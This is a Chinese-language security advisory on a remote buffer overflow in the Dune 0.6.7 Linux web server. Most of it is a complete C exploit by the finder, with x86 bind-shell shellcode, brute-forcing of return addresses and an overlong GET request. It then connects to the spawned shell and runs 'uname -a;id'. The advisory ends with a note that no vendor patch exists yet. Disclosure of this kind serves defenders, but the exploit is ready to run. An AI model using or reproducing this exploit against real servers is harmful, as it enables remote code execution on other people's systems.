发布日期：2003-06-17
更新日期：2003-06-24

受影响系统：

Dune Dune 0.6.7

描述：

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BUGTRAQ  ID: 7945

dune是一款小型的HTTPD服务程序，可使用在Linux系统下。

dune当处理超长请求时缺少正确边界缓冲区检查，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可以WEB权限在系统上执行任意指令。

攻击者提交包含超长字符串的HTTP GET请求，就可以触发漏洞，精心构建提交字符串可以WEB权限在系统上执行任意指令。

<*来源：Vade 79 （v9@fakehalo.deadpig.org）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105588042613880&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Vade 79（v9@fakehalo.deadpig.org） 提供了如下测试程序：

/*[ dune[0.6.7+-]: remote buffer overflow exploit. ]*
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
*                                                  *
* dune is a httpd webserver for linux, which can   *
* be found at:                                     *
*  http://www.freshmeat.net/projects/dune          *
*                                                  *
* i originally made a proof of concept(broken)     *
* exploit for it a couple years ago.  but, i       *
* decided to finally make a working exploit for    *
* it.  probably the most easy-to-use exploit i've  *
* ever made.  the brute force method will allow    *
* the exploit to work out of the box, on linux.    *
*                                                  *
* this exploit exploits the "multiuser" feature of *
* dune.  the request sent will look like:          *
*  "GET /~[48 bytes/overflow] [shellcode]\n\n"     *
* the shellcode is placed where "HTTP/?.?" would   *
* normally go.  but, dune doesn't seem to care.    *
* if it is placed elsewhere alot of characters     *
* will get truncated/passed to different           *
* functions.                                       *
*                                                  *
* one problem though.  because of this:            *
*  main.c:185:if(buffer[0]==EOF) exit(0);          *
*  main.c:203:if(buffer[0]==EOF) exit(0);          *
* no 0xff's can be sent to the server, for this to *
* work.  but, i've made the exploit to work around *
* the problem.                                     *
*                                                  *
* note: dune does drop privileges(uid/gid), if     *
* started as root.  but, does not initgroups()     *
* accordingly.                                     *
****************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BASE_ADDR 0x08048001 /* start brute. */
#define END_ADDR 0x0804ffff /* end brute. */
#define TIMEOUT 15 /* connection timeout. */
static char x86_exec[]= /* modded from netric folk. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
char *getbuf(unsigned long);
void getshell(char *,unsigned short,unsigned long);
void request_url(char *hostname,unsigned short port,
unsigned long);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit",1);}
int main(int argc,char **argv){
unsigned short port=80; /* default. */
unsigned short sport=7979; /* default. */
unsigned long ret=0;
printf("[*] dune[0.6.7+-]: remote buffer overflow exp"
"loit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fa"
"kehalo)\n\n");
if(argc<2){
  printf("[!] syntax: %s <hostname> [port] [offset] [s"
  "hell port]\n\n",argv[0]);
  exit(1);
}
if(argc>2)
  port=atoi(argv[2]);
if(argc>3)
  ret=atoi(argv[3]);
if(argc>4)
  sport=atoi(argv[4]);
/* check for 0x0 and 0xff, can't use them. */
if(((sport&0xff00)>>8)==0xff||(sport&0x00ff)==0xff||
!((sport&0xff00)>>8)||!(sport&0x00ff)){
  printf("[!] shell port defined contains bad characte"
  "r(s), using default.\n");
  sport=7979; /* back to default. */
}
/* add port dealio. */
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
printf(" target:%s:%d addresses:0x%.8x(+%ld)-0x%.8x"
"\n\n",argv[1],port,BASE_ADDR,ret,END_ADDR);
fprintf(stderr,"[. = 350 byte offset]: ");
while((BASE_ADDR+ret)<END_ADDR){
  /* make sure its a usable address. */
  if(!(BASE_ADDR+(ret&0x000000ff)))
   ret--;
  if((BASE_ADDR+(ret&0x000000ff))==0xff)
   ret--;
  request_url(argv[1],port,(BASE_ADDR+ret));
  sleep(1);
  getshell(argv[1],sport,ret);
  ret+=350; /* number of nops. */
}
fprintf(stderr,"(hit memory limit, aborting)\n\n");
exit(0);
}
/* layout: "GET /~[addr*12] [shellcode]\n\n". */
char *getbuf(unsigned long addr){
unsigned int i=0;
char *buf;
if(!(buf=(char *)malloc(500+1)))
  printe("getbuf(): allocating memory failed",1);
memset(buf,0x0,501);
strcpy(buf,"GET /~");
for(i=6;i<(48+6);i+=4){*(long *)&buf[i]=addr;}
buf[i++]=0x20; /* space. */
memset(buf+i,0x90,(500-strlen(x86_exec)-i-2));
memcpy(buf+(500-strlen(x86_exec)-2),x86_exec,
strlen(x86_exec));
strcpy(buf+strlen(buf),"\n\n");
return(buf);
}
void getshell(char *hostname,unsigned short port,
unsigned long offset){
int sock,r;
fd_set fds;
char buf[4096];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))
==-1)
  printe("getshell() socket failed",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("couldn't resolve hostname",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  fprintf(stderr,".");
  close(sock);
  return;
}
alarm(0);
fprintf(stderr,"(hit shellcode at 0x%.8x(+%ld))\n\n",
BASE_ADDR,offset);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1){
   printe("getshell(): select() failed",0);
   return;
  }
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,sizeof(buf)))<1){
    printe("getshell(): read() failed",0);
    return;
   }
   if(write(sock,buf,r)!=r){
    printe("getshell(): write() failed",0);
    return;
   }
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,sizeof(buf)))<1)
    exit(0);
   write(1,buf,r);
  }
}
close(sock);
return;
}
void request_url(char *hostname,unsigned short port,
unsigned long ret){
int sock;
char *ptr;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve hostname",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("connection failed",1);
alarm(0);
ptr=getbuf(ret);
write(sock,ptr,strlen(ptr));
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stderr,"(error: %s)\n\n",err);
if(e)
  exit(1);
return;
}

建议：

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厂商补丁：

Dune
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.tc.umn.edu/~mest0002/dune/

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